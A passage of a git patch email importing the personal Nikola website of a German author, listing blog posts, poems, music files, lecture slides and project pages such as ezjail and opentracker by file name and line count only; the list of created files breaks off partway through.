From 23f0e1561767dd8a396188e317bae5920d171ea8 Mon Sep 17 00:00:00 2001 From: erdgeist Date: Sun, 16 Aug 2015 16:38:25 +0200 Subject: Initial import of my nikola website --- blog/2003/Altes.md | 29 + blog/2003/Buttons.md | 36 + blog/2003/Dezemberkind.md | 9 + blog/2003/Die_Christenheit.md | 96 + blog/2003/Dinge_erledigt.md | 50 + blog/2003/Geekin.md | 14 + blog/2003/Geld_ausgeben.md | 26 + blog/2003/Google_bomben.md | 12 + blog/2003/Hefe_und_Diesel.md | 8 + blog/2003/Hoffen_auf_Netz.md | 12 + blog/2003/Metageschwafel.md | 16 + blog/2003/Rock_und_Roll.md | 22 + blog/2003/Schwein_gehabt.md | 126 + blog/2003/Shoppen__Essen_und_Studieren.md | 16 + blog/2003/Spontanes_Gehacke.md | 23 + blog/2003/Spontanes_Gehacke_II.md | 51 + blog/2003/Unter_Schafen.md | 18 + blog/2003/iPod_da.md | 16 + blog/2004/Aufholjagd.md | 22 + blog/2004/Babelfish.md | 10 + blog/2004/Begegnungen.md | 40 + blog/2004/Blip.md | 10 + blog/2004/Bondage_Art.md | 10 + blog/2004/Fahrradschuppen.md | 21 + blog/2004/Filmzitate.md | 8 + blog/2004/Gegammel.md | 21 + blog/2004/Gerechte_Leiden.md | 13 + blog/2004/Geschafft.md | 50 + blog/2004/Herrlicher_Laerm.md | 20 + blog/2004/Kleinkunst.md | 6 + blog/2004/Mehr_Papis.md | 8 + blog/2004/Mit_dem_Schwert_nach_Polen.md | 10 + blog/2004/Nikilausi.md | 24 + blog/2004/Schlechtes_Gewissen.md | 132 + blog/2004/Sniff.md | 6 + blog/2004/Teil_I.md | 47 + blog/2004/Teil_II.md | 67 + blog/2004/Von_wegen_nichts_erlebt.md | 30 + blog/2004/Wochenblog.md | 16 + blog/2004/Ziviler_Ungehorsam.md | 10 + blog/2005/Ablenkung.md | 14 + blog/2005/Auf_gut_Glueck.md | 16 + blog/2005/Befreit.md | 6 + blog/2005/Beobachtungen.md | 19 + blog/2005/Ch-Ch-Ch-Ch-Changes.md | 31 + blog/2005/Darunter_drei_Deutsche.md | 6 + blog/2005/Deppen.md | 10 + blog/2005/Feiervolk.md | 38 + blog/2005/Filmkritik.md | 20 + blog/2005/Fotoblog.md | 9 + blog/2005/Grundsatz.md | 30 + blog/2005/Haben_wir_doch_schon.md | 37 + blog/2005/Heldenblogger.md | 6 + blog/2005/KnastHorst.md | 128 + blog/2005/Lot.md | 27 + blog/2005/Messlatte.md | 24 + blog/2005/Nerd_Fame.md | 10 + blog/2005/Notizblog.md | 27 + blog/2005/Offizieller_Sommer.md | 18 + blog/2005/One_more_thing.md | 8 + blog/2005/Quartalsblogger.md | 47 + blog/2005/Rekreation.md | 9 + blog/2005/Schnitte.md | 16 + blog/2005/Signale.md | 8 + blog/2005/Spam.md | 11 + blog/2005/Tintenpisser.md | 18 + blog/2005/Trendsetter.md | 54 + blog/2005/Unparteiisch.md | 31 + blog/2005/Was_angerichtet.md | 18 + blog/2005/Wedekind.md | 35 + blog/2006/10_Sekunden_zappeln_bei_5000bpm.md | 14 + blog/2006/Bei_genauerer_Betrachtung.md | 6 + blog/2006/Dieses_erlischt_zu_einer_I_Liebe.md | 27 + blog/2006/Drucke.md | 12 + blog/2006/Hirsch.md | 6 + ...Humankapital_in_der_Aufmerksamkeitsoekonomie.md | 24 + blog/2006/Neunzehnvierundachtzig.md | 41 + blog/2006/Nikolaus.md | 52 + blog/2006/Tims_Name_ist.md | 6 + blog/2006/Vollkaskodeure.md | 24 + blog/2006/Wahlhelfer.md | 10 + blog/2007/Art_and_beauty.md | 30 + blog/2007/Ausgeknipst.md | 27 + blog/2007/Bekannte_Gastgeber.rst | 7 + blog/2007/Fruehstuecksueberwachungsverein.md | 7 + blog/2007/Herrenwitz.md | 11 + blog/2007/Lebensstilreflexion.md | 6 + blog/2007/Pauker.md | 18 + blog/2007/ezjail-mailinglist.rst | 5 + blog/2008/Datenmessie.md | 82 + blog/2008/Wahle_beobachte.md | 22 + blog/2009/Der_Zensurbegriff.md | 20 + blog/2009/Medienschwemme.md | 16 + blog/2009/Papieraequivalente_Authentizitaet.md | 24 + blog/2010/Weltumsegelung.md | 10 + blog/2011/Die_Beerware-Lizenz.md | 14 + blog/2012/FileVault_Service-Post.md | 16 + blog/2012/ezjail-3.2.2.rst | 5 + blog/2012/ezjail-3.2.3.rst | 5 + blog/2013/ezjail-3.3.rst | 5 + blog/2013/ezjail-3.4.rst | 5 + blog/2013/repositions.md | 67 + blog/2014/Self-righteous_spam_police.md | 61 + blog/2014/Using_libressl.md | 30 + blog/2015/Little-big-data.rst | 10 + blog/2015/Steueranachronismus.rst | 22 + blog/2015/ergebnisse-massgeschneidert.rst | 22 + blog/2015/hello-world.rst | 15 + blog/2015/travel-tips.rst | 64 + blog/2015/write-the-flogging-manual.rst | 39 + conf.py | 955 +++ files/.DS_Store | Bin 0 -> 6148 bytes files/arts/.DS_Store | Bin 0 -> 6148 bytes files/arts/music/AlteZeiten.txt | 48 + files/arts/music/Alte_Zeiten.mp3 | Bin 0 -> 1264452 bytes files/arts/music/Fine.mp3 | Bin 0 -> 732070 bytes files/arts/music/Fine.txt | 23 + files/arts/music/FnordNews.mp3 | Bin 0 -> 277929 bytes files/arts/music/FnordNewsExtended-lb.mp3 | Bin 0 -> 508242 bytes files/arts/music/FnordNewsExtended.mp3 | Bin 0 -> 496959 bytes files/arts/music/FnordNewsJingle.mp3 | Bin 0 -> 104636 bytes "files/arts/music/FrauKr\303\274ger.mp3" | Bin 0 -> 1694646 bytes files/arts/music/From Me To You.mp4 | Bin 0 -> 71542017 bytes files/arts/music/Halleluja.mp3 | Bin 0 -> 3221128 bytes files/arts/music/Hero | 64 + files/arts/music/Herov1.mp3 | Bin 0 -> 1431110 bytes files/arts/music/Herov2.mp3 | Bin 0 -> 1874982 bytes files/arts/music/Hoerig.mp3 | Bin 0 -> 2058030 bytes files/arts/music/Hoerig.txt | 25 + files/arts/music/Hymne.mp3 | Bin 0 -> 746392 bytes files/arts/music/Janina.mp3 | Bin 0 -> 427718 bytes files/arts/music/Lebende.html | 1 + files/arts/music/Lebende.mp3 | Bin 0 -> 361510 bytes files/arts/music/Lebende.txt | 24 + files/arts/music/Lebende.wav | Bin 0 -> 731964 bytes files/arts/music/No Angel Yet.mp3 | Bin 0 -> 1028838 bytes files/arts/music/No Angel Yet.txt | 40 + files/arts/music/Pimmelterrorist | 36 + files/arts/music/Pimmelterrorist.mp3 | Bin 0 -> 1183590 bytes files/arts/music/Riding Monkeys.mp3 | Bin 0 -> 2820010 bytes files/arts/music/Schnee_im_April.mp3 | Bin 0 -> 2331375 bytes files/arts/music/Soehne | 29 + files/arts/music/Soehne.mp3 | Bin 0 -> 917830 bytes files/arts/music/Sven | 26 + files/arts/music/Sven.mp3 | Bin 0 -> 1029098 bytes files/arts/music/Tonite | 34 + files/arts/music/Tonitev1.mp3 | Bin 0 -> 1633990 bytes files/arts/music/Tonitev2.mp3 | Bin 0 -> 1629574 bytes files/arts/music/Turing_Galaxy.mp3 | Bin 0 -> 861749 bytes files/arts/music/Wahrheit.mp3 | Bin 0 -> 389037 bytes files/arts/music/Wahrheit_Intro.mp3 | Bin 0 -> 782127 bytes files/arts/music/Wahrheit_Intro_Bombast.mp3 | Bin 0 -> 782127 bytes files/arts/music/WarmeGedanken.mp3 | Bin 0 -> 3257551 bytes files/arts/music/Wiese | 34 + files/arts/music/Wiese.mp3 | Bin 0 -> 2151540 bytes files/arts/music/content-transpose.html | 127 + files/arts/music/content.html | 21 + files/arts/software/.DS_Store | Bin 0 -> 6148 bytes .../software/Code/elektropost/auth.patch.diff-tls | 141 + files/arts/software/Code/elektropost/maildroprc | 21 + files/arts/software/Code/elektropost/mkvalidrcptto | 826 +++ .../Code/elektropost/qmail-smtpd.c.force.tls.patch | 42 + .../Code/elektropost/qmail-smtpd.c.privacy.patch | 31 + files/arts/software/Code/elektropost/tcp.smtp | 14 + .../Code/elektropost/validrcptto.cdb.patch.new | 153 + files/arts/software/Code/vchat-client | Bin 0 -> 1922072 bytes files/arts/software/etherpad/etherpad | 35 + files/arts/software/etherpad/nginx-etherpad.conf | 25 + files/arts/software/etherpad/nginx.conf | 53 + files/arts/software/etherpad/soffice | 28 + files/arts/software/ezjail/ezjail-0.1.tar.bz2 | Bin 0 -> 5314 bytes files/arts/software/ezjail/ezjail-1.0.tar.bz2 | Bin 0 -> 5456 bytes files/arts/software/ezjail/ezjail-1.1.tar.bz2 | Bin 0 -> 5727 bytes files/arts/software/ezjail/ezjail-1.2.tar.bz2 | Bin 0 -> 8836 bytes files/arts/software/ezjail/ezjail-1.2b.tar.bz2 | Bin 0 -> 9118 bytes files/arts/software/ezjail/ezjail-1.3.1.tar.bz2 | Bin 0 -> 8999 bytes files/arts/software/ezjail/ezjail-1.3.tar.bz2 | Bin 0 -> 8894 bytes files/arts/software/ezjail/ezjail-2.0.1.tar.bz2 | Bin 0 -> 15540 bytes files/arts/software/ezjail/ezjail-2.0.tar.bz2 | Bin 0 -> 15528 bytes files/arts/software/ezjail/ezjail-2.0b.tar.bz2 | Bin 0 -> 15548 bytes files/arts/software/ezjail/ezjail-2.1.tar.bz2 | Bin 0 -> 17010 bytes files/arts/software/ezjail/ezjail-3.0.tar.bz2 | Bin 0 -> 21261 bytes files/arts/software/ezjail/ezjail-3.0b.tar.bz2 | Bin 0 -> 20689 bytes files/arts/software/ezjail/ezjail-3.1.tar.bz2 | Bin 0 -> 24051 bytes files/arts/software/ezjail/ezjail-3.2.1.tar.bz2 | Bin 0 -> 34284 bytes files/arts/software/ezjail/ezjail-3.2.2.tar.bz2 | Bin 0 -> 34579 bytes files/arts/software/ezjail/ezjail-3.2.3.tar.bz2 | Bin 0 -> 34638 bytes files/arts/software/ezjail/ezjail-3.2.tar.bz2 | Bin 0 -> 33593 bytes files/arts/software/ezjail/ezjail-3.3.tar.bz2 | Bin 0 -> 35563 bytes files/arts/software/ezjail/ezjail-3.4.1.tar.bz2 | Bin 0 -> 37728 bytes files/arts/software/ezjail/ezjail-3.4.tar.bz2 | Bin 0 -> 37597 bytes files/arts/software/ezjail/ezjail-admin.8.pdf | 4073 ++++++++++++ files/arts/software/ezjail/ezjail.7.pdf | 4038 ++++++++++++ files/arts/software/ezjail/ezjail.conf.5.pdf | 1605 +++++ .../software/jaildaemon/jaildaemon-0.1.tar.bz2 | Bin 0 -> 9112 bytes .../software/jaildaemon/jaildaemon-0.2.1.tar.bz2 | Bin 0 -> 9371 bytes .../software/jaildaemon/jaildaemon-0.2.tar.bz2 | Bin 0 -> 9555 bytes .../arts/software/minimunin/minimunin-0.1.tar.bz2 | Bin 0 -> 4611 bytes .../arts/software/minimunin/minimunin-0.2.tar.bz2 | Bin 0 -> 4677 bytes .../software/opentracker/opentracker_beta3.png | Bin 0 -> 35217 bytes files/arts/software/timestretch/timestretch_1.png | Bin 0 -> 18159 bytes files/arts/software/timestretch/timestretch_2.png | Bin 0 -> 20307 bytes files/cgit/cgit.cgi | Bin 0 -> 817760 bytes files/cgit/cgit.css | 804 +++ files/cgit/cgit.png | Bin 0 -> 1488 bytes files/cgit/favicon.ico | Bin 0 -> 1078 bytes files/cgit/robots.txt | 3 + files/epost.pdf | Bin 0 -> 63541 bytes files/erdgeist.org.tbz | Bin 0 -> 298726 bytes files/fnord/news/Studio-RT.JPG | Bin 0 -> 1564484 bytes files/fnord/news/speeding.jpg | Bin 0 -> 55384 bytes files/hello-world.jpg | Bin 0 -> 98492 bytes files/key.asc | 235 + files/lectures/0zapftis.pdf | Bin 0 -> 3520786 bytes files/lectures/Cryptocon-Keynote.pdf | Bin 0 -> 3652825 bytes files/lectures/Little Big Data.pdf | Bin 0 -> 26238317 bytes files/lectures/TrackerFahrn.pdf | Bin 0 -> 5759749 bytes files/lectures/Wahlcomputer_Talk.pdf | Bin 0 -> 6207186 bytes files/stats/blog/pics/100_0539.JPG | Bin 0 -> 972775 bytes files/stats/blog/pics/Blumentopf.JPG | Bin 0 -> 867224 bytes files/stats/blog/pics/CCCB.jpg | Bin 0 -> 64244 bytes files/stats/blog/pics/Dank_allen_Helfern.jpg | Bin 0 -> 73829 bytes files/stats/blog/pics/Drecksbotten.jpg | Bin 0 -> 120352 bytes files/stats/blog/pics/EinEis.jpg | Bin 0 -> 86979 bytes files/stats/blog/pics/Garderobe.jpg | Bin 0 -> 28250 bytes files/stats/blog/pics/GutenMorgen.jpg | Bin 0 -> 75737 bytes files/stats/blog/pics/IMG_3571_k.jpg | Bin 0 -> 49803 bytes files/stats/blog/pics/Im-Herbst.jpg | Bin 0 -> 124035 bytes files/stats/blog/pics/Kapelle.jpg | Bin 0 -> 120370 bytes files/stats/blog/pics/KaputtesAuto.jpg | Bin 0 -> 508714 bytes files/stats/blog/pics/Lofts.jpg | Bin 0 -> 125076 bytes files/stats/blog/pics/Maulhurpf.jpg | Bin 0 -> 421390 bytes files/stats/blog/pics/Planetarium.jpg | Bin 0 -> 1982055 bytes files/stats/blog/pics/Rollern.jpg | Bin 0 -> 92116 bytes files/stats/blog/pics/ShirtCam1.jpg | Bin 0 -> 1184624 bytes files/stats/blog/pics/ShirtCam2.jpg | Bin 0 -> 1163805 bytes files/stats/blog/pics/Studium.jpg | Bin 0 -> 85880 bytes files/stats/blog/pics/Volkspark.jpg | Bin 0 -> 72028 bytes files/stats/blog/pics/Wetter.jpg | Bin 0 -> 96516 bytes files/stats/blog/pics/Wiesen.jpg | Bin 0 -> 1177161 bytes files/stats/blog/pics/bola.jpg | Bin 0 -> 120367 bytes files/stats/blog/pics/erste72.jpg | Bin 0 -> 916384 bytes files/stats/blog/pics/espresso-anden.jpg | Bin 0 -> 1048919 bytes files/stats/blog/pics/iCalShuffle.jpg | Bin 0 -> 53047 bytes files/stats/blog/pics/latte.jpg | Bin 0 -> 1606814 bytes files/stats/blog/pics/los_penisheads.jpg | Bin 0 -> 1675640 bytes files/stats/blog/pics/los_sombreros.jpg | Bin 0 -> 1669326 bytes files/stats/blog/pics/phNeutral.jpg | Bin 0 -> 98651 bytes files/stats/blog/pics/stoertaste.jpg | Bin 0 -> 82708 bytes files/stats/blog/pics/yor.jpg | Bin 0 -> 41978 bytes stories/about.rst | 35 + stories/beerware.md | 8 + stories/index.rst | 61 + stories/lectures/Wahlcomputer.rst | 95 + stories/music/Alte_Zeiten.rst | 62 + stories/music/Fine.rst | 41 + "stories/music/Frau_Kr\303\274ger.rst" | 53 + stories/music/From_Me_To_You.rst | 37 + stories/music/Hero.rst | 64 + stories/music/Hoerig.rst | 42 + stories/music/No_Angel_Yet.rst | 57 + stories/music/Pimmelterrorist.rst | 54 + stories/music/Riding_Monkey.rst | 23 + stories/music/Schnee_im_April.rst | 48 + stories/music/Sven.rst | 38 + stories/music/Tonite.rst | 43 + stories/music/Warme_Gedanken.rst | 68 + stories/music/Wiese.rst | 47 + stories/music/index.rst | 41 + stories/music/transpose.rst | 115 + stories/photos/index.rst | 9 + stories/poetry/Datenschleuder-BoesePost | 13 + stories/poetry/Ein_Abend.md | 21 + "stories/poetry/Gru\303\237karte.md" | 9 + stories/poetry/MeinVortrag/01.html | 8 + stories/poetry/MeinVortrag/02.html | 6 + stories/poetry/MeinVortrag/03.html | 11 + stories/poetry/MeinVortrag/04.html | 12 + stories/poetry/MeinVortrag/05.html | 27 + stories/poetry/MeinVortrag/06.html | 8 + stories/poetry/MeinVortrag/07.html | 14 + stories/poetry/MeinVortrag/08.html | 16 + stories/poetry/MeinVortrag/09.html | 13 + stories/poetry/MeinVortrag/10.html | 10 + stories/poetry/MeinVortrag/11.html | 18 + stories/poetry/MeinVortrag/12.html | 17 + stories/poetry/MeinVortrag/13.html | 24 + stories/poetry/MeinVortrag/14.html | 25 + stories/poetry/MeinVortrag/15.html | 23 + stories/poetry/MeinVortrag/16.html | 25 + stories/poetry/MeinVortrag/17.html | 26 + stories/poetry/MeinVortrag/18.html | 20 + stories/poetry/MeinVortrag/19.html | 14 + stories/poetry/MeinVortrag/Vortrag-FormatStrings | 367 ++ stories/poetry/MeinVortrag/templ.html | 7 + stories/poetry/SeinSohn.md | 17 + stories/poetry/Unreal.md | 27 + stories/poetry/aussage1.md | 7 + stories/poetry/aussage2.md | 7 + stories/poetry/aussage3.md | 7 + stories/poetry/baecker.md | 32 + stories/poetry/bsd.vs.linux.md | 11 + stories/poetry/domizil.md | 19 + stories/poetry/dreiviertel | 33 + stories/poetry/elokpaula.md | 17 + stories/poetry/fdp.md | 60 + stories/poetry/feindkontakt.md | 47 + stories/poetry/freiheit.md | 21 + stories/poetry/fruehlingsgewitter.md | 30 + stories/poetry/geaendert.md | 18 + stories/poetry/gefangen.md | 17 + stories/poetry/gefunden.md | 19 + stories/poetry/grau.md | 26 + stories/poetry/grossejungs.md | 23 + stories/poetry/header | 4 + stories/poetry/im_sog.md | 20 + stories/poetry/index.rst | 13 + stories/poetry/kuenstler | 30 + stories/poetry/lovers.md | 15 + stories/poetry/madkarin.md | 35 + stories/poetry/milchstrasse.md | 17 + stories/poetry/missverstaendnis.md | 27 + stories/poetry/mistral.md | 16 + stories/poetry/mondgoettin.md | 26 + stories/poetry/nachts.md | 20 + stories/poetry/pamphlet | 8 + stories/poetry/perfektion.md | 32 + stories/poetry/schneebilder.md | 33 + stories/poetry/seelenkratzer.md | 17 + stories/poetry/seemann.md | 71 + stories/poetry/traeumerei.md | 40 + stories/poetry/tscheljabinsk.md | 15 + stories/poetry/urlaubsgruesse.md | 14 + stories/poetry/vchat.md | 35 + stories/poetry/verloren.md | 26 + stories/poetry/wasted.md | 20 + stories/poetry/wille.md | 28 + stories/poetry/wortzahl84.md | 35 + stories/poetry/zeitlos.md | 18 + stories/poetry/zynismus.md | 36 + stories/projects/Telefonbuch.rst | 7 + stories/projects/anonbox.rst | 7 + stories/projects/briefkasten.rst | 6 + stories/projects/el.rst | 72 + stories/projects/elektropost.rst | 197 + stories/projects/etherpad.rst | 237 + stories/projects/ezjail.conf.5 | 229 + stories/projects/ezjail.rst | 412 ++ stories/projects/ezjail_philosophy.rst | 50 + stories/projects/jaildaemon.rst | 77 + stories/projects/minimunin.rst | 75 + stories/projects/opentracker.rst | 136 + stories/projects/timestretch.rst | 63 + stories/projects/vchat-client.rst | 267 + themes/erdgeist/assets/css/bootstrap.css | 6716 ++++++++++++++++++++ themes/erdgeist/assets/css/bootstrap.min.css | 6 + themes/erdgeist/assets/css/erdgeist-embedded.css | 70 + themes/erdgeist/assets/css/erdgeist.css | 293 + themes/erdgeist/assets/font/erdgeist.eot | Bin 0 -> 7804 bytes themes/erdgeist/assets/font/erdgeist.svg | 27 + themes/erdgeist/assets/font/erdgeist.ttf | Bin 0 -> 7636 bytes themes/erdgeist/assets/font/erdgeist.woff | Bin 0 -> 4852 bytes ...ODelI1aHBYDBqgeIAH2zlEY6Fu39Tt9XkmtSosaMoEA.ttf | Bin 0 -> 25408 bytes ...toadOcfmlt9b38dHJxOBGLlcMrNrsnL9dgADnXgYJjs.ttf | Bin 0 -> 25160 bytes ...toadOcfmlt9b38dHJxOBGPS42wKzre0cxmO5m5GyTsY.ttf | Bin 0 -> 25668 bytes themes/erdgeist/assets/img/dark_stripes.png | Bin 0 -> 1249 bytes themes/erdgeist/bundles | 1 + themes/erdgeist/parent | 1 + themes/erdgeist/templates/base.tmpl | 58 + themes/erdgeist/templates/base_helper.tmpl | 168 + themes/erdgeist/templates/index.tmpl | 35 + themes/erdgeist/templates/index_helper.tmpl | 27 + themes/erdgeist/templates/list_blogposts.tmpl | 41 + themes/erdgeist/templates/list_poetry.tmpl | 16 + themes/erdgeist/templates/list_projectnews.tmpl | 16 + themes/erdgeist/templates/list_projects.tmpl | 16 + themes/erdgeist/templates/post.tmpl | 51 + themes/erdgeist/templates/post_header.tmpl | 53 + 378 files changed, 28687 insertions(+) create mode 100644 blog/2003/Altes.md create mode 100644 blog/2003/Buttons.md create mode 100644 blog/2003/Dezemberkind.md create mode 100644 blog/2003/Die_Christenheit.md create mode 100644 blog/2003/Dinge_erledigt.md create mode 100644 blog/2003/Geekin.md create mode 100644 blog/2003/Geld_ausgeben.md create mode 100644 blog/2003/Google_bomben.md create mode 100644 blog/2003/Hefe_und_Diesel.md create mode 100644 blog/2003/Hoffen_auf_Netz.md create mode 100644 blog/2003/Metageschwafel.md create mode 100644 blog/2003/Rock_und_Roll.md create mode 100644 blog/2003/Schwein_gehabt.md create mode 100644 blog/2003/Shoppen__Essen_und_Studieren.md create mode 100644 blog/2003/Spontanes_Gehacke.md create mode 100644 blog/2003/Spontanes_Gehacke_II.md create mode 100644 blog/2003/Unter_Schafen.md create mode 100644 blog/2003/iPod_da.md create mode 100644 blog/2004/Aufholjagd.md create mode 100644 blog/2004/Babelfish.md create mode 100644 blog/2004/Begegnungen.md create mode 100644 blog/2004/Blip.md create mode 100644 blog/2004/Bondage_Art.md create mode 100644 blog/2004/Fahrradschuppen.md create mode 100644 blog/2004/Filmzitate.md create mode 100644 blog/2004/Gegammel.md create mode 100644 blog/2004/Gerechte_Leiden.md create mode 100644 blog/2004/Geschafft.md create mode 100644 blog/2004/Herrlicher_Laerm.md create mode 100644 blog/2004/Kleinkunst.md create mode 100644 blog/2004/Mehr_Papis.md create mode 100644 blog/2004/Mit_dem_Schwert_nach_Polen.md create mode 100644 blog/2004/Nikilausi.md create mode 100644 blog/2004/Schlechtes_Gewissen.md create mode 100644 blog/2004/Sniff.md create mode 100644 blog/2004/Teil_I.md create mode 100644 blog/2004/Teil_II.md create mode 100644 blog/2004/Von_wegen_nichts_erlebt.md create mode 100644 blog/2004/Wochenblog.md create mode 100644 blog/2004/Ziviler_Ungehorsam.md create mode 100644 blog/2005/Ablenkung.md create mode 100644 blog/2005/Auf_gut_Glueck.md create mode 100644 blog/2005/Befreit.md create mode 100644 blog/2005/Beobachtungen.md create mode 100644 blog/2005/Ch-Ch-Ch-Ch-Changes.md create mode 100644 blog/2005/Darunter_drei_Deutsche.md create mode 100644 blog/2005/Deppen.md create mode 100644 blog/2005/Feiervolk.md create mode 100644 blog/2005/Filmkritik.md create mode 100644 blog/2005/Fotoblog.md create mode 100644 blog/2005/Grundsatz.md create mode 100644 blog/2005/Haben_wir_doch_schon.md create mode 100644 blog/2005/Heldenblogger.md create mode 100644 blog/2005/KnastHorst.md create mode 100644 blog/2005/Lot.md create mode 100644 blog/2005/Messlatte.md create mode 100644 blog/2005/Nerd_Fame.md create mode 100644 blog/2005/Notizblog.md create mode 100644 blog/2005/Offizieller_Sommer.md create mode 100644 blog/2005/One_more_thing.md create mode 100644 blog/2005/Quartalsblogger.md create mode 100644 blog/2005/Rekreation.md create mode 100644 blog/2005/Schnitte.md create mode 100644 blog/2005/Signale.md create mode 100644 blog/2005/Spam.md create mode 100644 blog/2005/Tintenpisser.md create mode 100644 blog/2005/Trendsetter.md create mode 100644 blog/2005/Unparteiisch.md create mode 100644 blog/2005/Was_angerichtet.md create mode 100644 blog/2005/Wedekind.md create mode 100644 blog/2006/10_Sekunden_zappeln_bei_5000bpm.md create mode 100644 blog/2006/Bei_genauerer_Betrachtung.md create mode 100644 blog/2006/Dieses_erlischt_zu_einer_I_Liebe.md create mode 100644 blog/2006/Drucke.md create mode 100644 blog/2006/Hirsch.md create mode 100644 blog/2006/Humankapital_in_der_Aufmerksamkeitsoekonomie.md create mode 100644 blog/2006/Neunzehnvierundachtzig.md create mode 100644 blog/2006/Nikolaus.md create mode 100644 blog/2006/Tims_Name_ist.md create mode 100644 blog/2006/Vollkaskodeure.md create mode 100644 blog/2006/Wahlhelfer.md create mode 100644 blog/2007/Art_and_beauty.md create mode 100644 blog/2007/Ausgeknipst.md create mode 100644 blog/2007/Bekannte_Gastgeber.rst create mode 100644 blog/2007/Fruehstuecksueberwachungsverein.md create mode 100644 blog/2007/Herrenwitz.md create mode 100644 blog/2007/Lebensstilreflexion.md create mode 100644 blog/2007/Pauker.md create mode 100644 blog/2007/ezjail-mailinglist.rst create mode 100644 blog/2008/Datenmessie.md create mode 100644 blog/2008/Wahle_beobachte.md create mode 100644 blog/2009/Der_Zensurbegriff.md create mode 100644 blog/2009/Medienschwemme.md create mode 100644 blog/2009/Papieraequivalente_Authentizitaet.md create mode 100644 blog/2010/Weltumsegelung.md create mode 100644 blog/2011/Die_Beerware-Lizenz.md create mode 100644 blog/2012/FileVault_Service-Post.md create mode 100644 blog/2012/ezjail-3.2.2.rst create mode 100644 blog/2012/ezjail-3.2.3.rst create mode 100644 blog/2013/ezjail-3.3.rst create mode 100644 blog/2013/ezjail-3.4.rst create mode 100644 blog/2013/repositions.md create mode 100644 blog/2014/Self-righteous_spam_police.md create mode 100644 blog/2014/Using_libressl.md create mode 100644 blog/2015/Little-big-data.rst create mode 100644 blog/2015/Steueranachronismus.rst create mode 100644 blog/2015/ergebnisse-massgeschneidert.rst create mode 100644 blog/2015/hello-world.rst create mode 100644 blog/2015/travel-tips.rst create mode 100644 blog/2015/write-the-flogging-manual.rst create mode 100644 conf.py create mode 100644 files/.DS_Store create mode 100644 files/arts/.DS_Store create mode 100644 files/arts/music/AlteZeiten.txt create mode 100755 files/arts/music/Alte_Zeiten.mp3 create mode 100755 files/arts/music/Fine.mp3 create mode 100644 files/arts/music/Fine.txt create mode 100644 files/arts/music/FnordNews.mp3 create mode 100644 files/arts/music/FnordNewsExtended-lb.mp3 create mode 100644 files/arts/music/FnordNewsExtended.mp3 create mode 100644 files/arts/music/FnordNewsJingle.mp3 create mode 100644 "files/arts/music/FrauKr\303\274ger.mp3" create mode 100644 files/arts/music/From Me To You.mp4 create mode 100644 files/arts/music/Halleluja.mp3 create mode 100644 files/arts/music/Hero create mode 100644 files/arts/music/Herov1.mp3 create mode 100644 files/arts/music/Herov2.mp3 create mode 100644 files/arts/music/Hoerig.mp3 create mode 100644 files/arts/music/Hoerig.txt create mode 100644 files/arts/music/Hymne.mp3 create mode 100644 files/arts/music/Janina.mp3 create mode 100644 files/arts/music/Lebende.html create mode 100755 files/arts/music/Lebende.mp3 create mode 100644 files/arts/music/Lebende.txt create mode 100644 files/arts/music/Lebende.wav create mode 100644 files/arts/music/No Angel Yet.mp3 create mode 100644 files/arts/music/No Angel Yet.txt create mode 100644 files/arts/music/Pimmelterrorist create mode 100644 files/arts/music/Pimmelterrorist.mp3 create mode 100644 files/arts/music/Riding Monkeys.mp3 create mode 100644 files/arts/music/Schnee_im_April.mp3 create mode 100644 files/arts/music/Soehne create mode 100644 files/arts/music/Soehne.mp3 create mode 100755 files/arts/music/Sven create mode 100644 files/arts/music/Sven.mp3 create mode 100644 files/arts/music/Tonite create mode 100644 files/arts/music/Tonitev1.mp3 create mode 100644 files/arts/music/Tonitev2.mp3 create mode 100644 files/arts/music/Turing_Galaxy.mp3 create mode 100644 files/arts/music/Wahrheit.mp3 create mode 100644 files/arts/music/Wahrheit_Intro.mp3 create mode 100644 files/arts/music/Wahrheit_Intro_Bombast.mp3 create mode 100644 files/arts/music/WarmeGedanken.mp3 create mode 100644 files/arts/music/Wiese create mode 100644 files/arts/music/Wiese.mp3 create mode 100644 files/arts/music/content-transpose.html create mode 100644 files/arts/music/content.html create mode 100644 files/arts/software/.DS_Store create mode 100644 files/arts/software/Code/elektropost/auth.patch.diff-tls create mode 100644 files/arts/software/Code/elektropost/maildroprc create mode 100755 files/arts/software/Code/elektropost/mkvalidrcptto create mode 100644 files/arts/software/Code/elektropost/qmail-smtpd.c.force.tls.patch create mode 100644 files/arts/software/Code/elektropost/qmail-smtpd.c.privacy.patch create mode 100644 files/arts/software/Code/elektropost/tcp.smtp create mode 100644 files/arts/software/Code/elektropost/validrcptto.cdb.patch.new create mode 100755 files/arts/software/Code/vchat-client create mode 100755 files/arts/software/etherpad/etherpad create mode 100644 files/arts/software/etherpad/nginx-etherpad.conf create mode 100644 files/arts/software/etherpad/nginx.conf create mode 100755 files/arts/software/etherpad/soffice create mode 100644 files/arts/software/ezjail/ezjail-0.1.tar.bz2 create mode 100644 files/arts/software/ezjail/ezjail-1.0.tar.bz2 create mode 100644 files/arts/software/ezjail/ezjail-1.1.tar.bz2 create mode 100644 files/arts/software/ezjail/ezjail-1.2.tar.bz2 create mode 100644 files/arts/software/ezjail/ezjail-1.2b.tar.bz2 create mode 100644 files/arts/software/ezjail/ezjail-1.3.1.tar.bz2 create mode 100644 files/arts/software/ezjail/ezjail-1.3.tar.bz2 create mode 100644 files/arts/software/ezjail/ezjail-2.0.1.tar.bz2 create mode 100644 files/arts/software/ezjail/ezjail-2.0.tar.bz2 create mode 100644 files/arts/software/ezjail/ezjail-2.0b.tar.bz2 create mode 100644 files/arts/software/ezjail/ezjail-2.1.tar.bz2 create mode 100644 files/arts/software/ezjail/ezjail-3.0.tar.bz2 create mode 100644 files/arts/software/ezjail/ezjail-3.0b.tar.bz2 create mode 100644 files/arts/software/ezjail/ezjail-3.1.tar.bz2 create mode 100644 files/arts/software/ezjail/ezjail-3.2.1.tar.bz2 create mode 100644 files/arts/software/ezjail/ezjail-3.2.2.tar.bz2 create mode 100644 files/arts/software/ezjail/ezjail-3.2.3.tar.bz2 create mode 100644 files/arts/software/ezjail/ezjail-3.2.tar.bz2 create mode 100644 files/arts/software/ezjail/ezjail-3.3.tar.bz2 create mode 100644 files/arts/software/ezjail/ezjail-3.4.1.tar.bz2 create mode 100644 files/arts/software/ezjail/ezjail-3.4.tar.bz2 create mode 100644 files/arts/software/ezjail/ezjail-admin.8.pdf create mode 100644 files/arts/software/ezjail/ezjail.7.pdf create mode 100644 files/arts/software/ezjail/ezjail.conf.5.pdf create mode 100644 files/arts/software/jaildaemon/jaildaemon-0.1.tar.bz2 create mode 100644 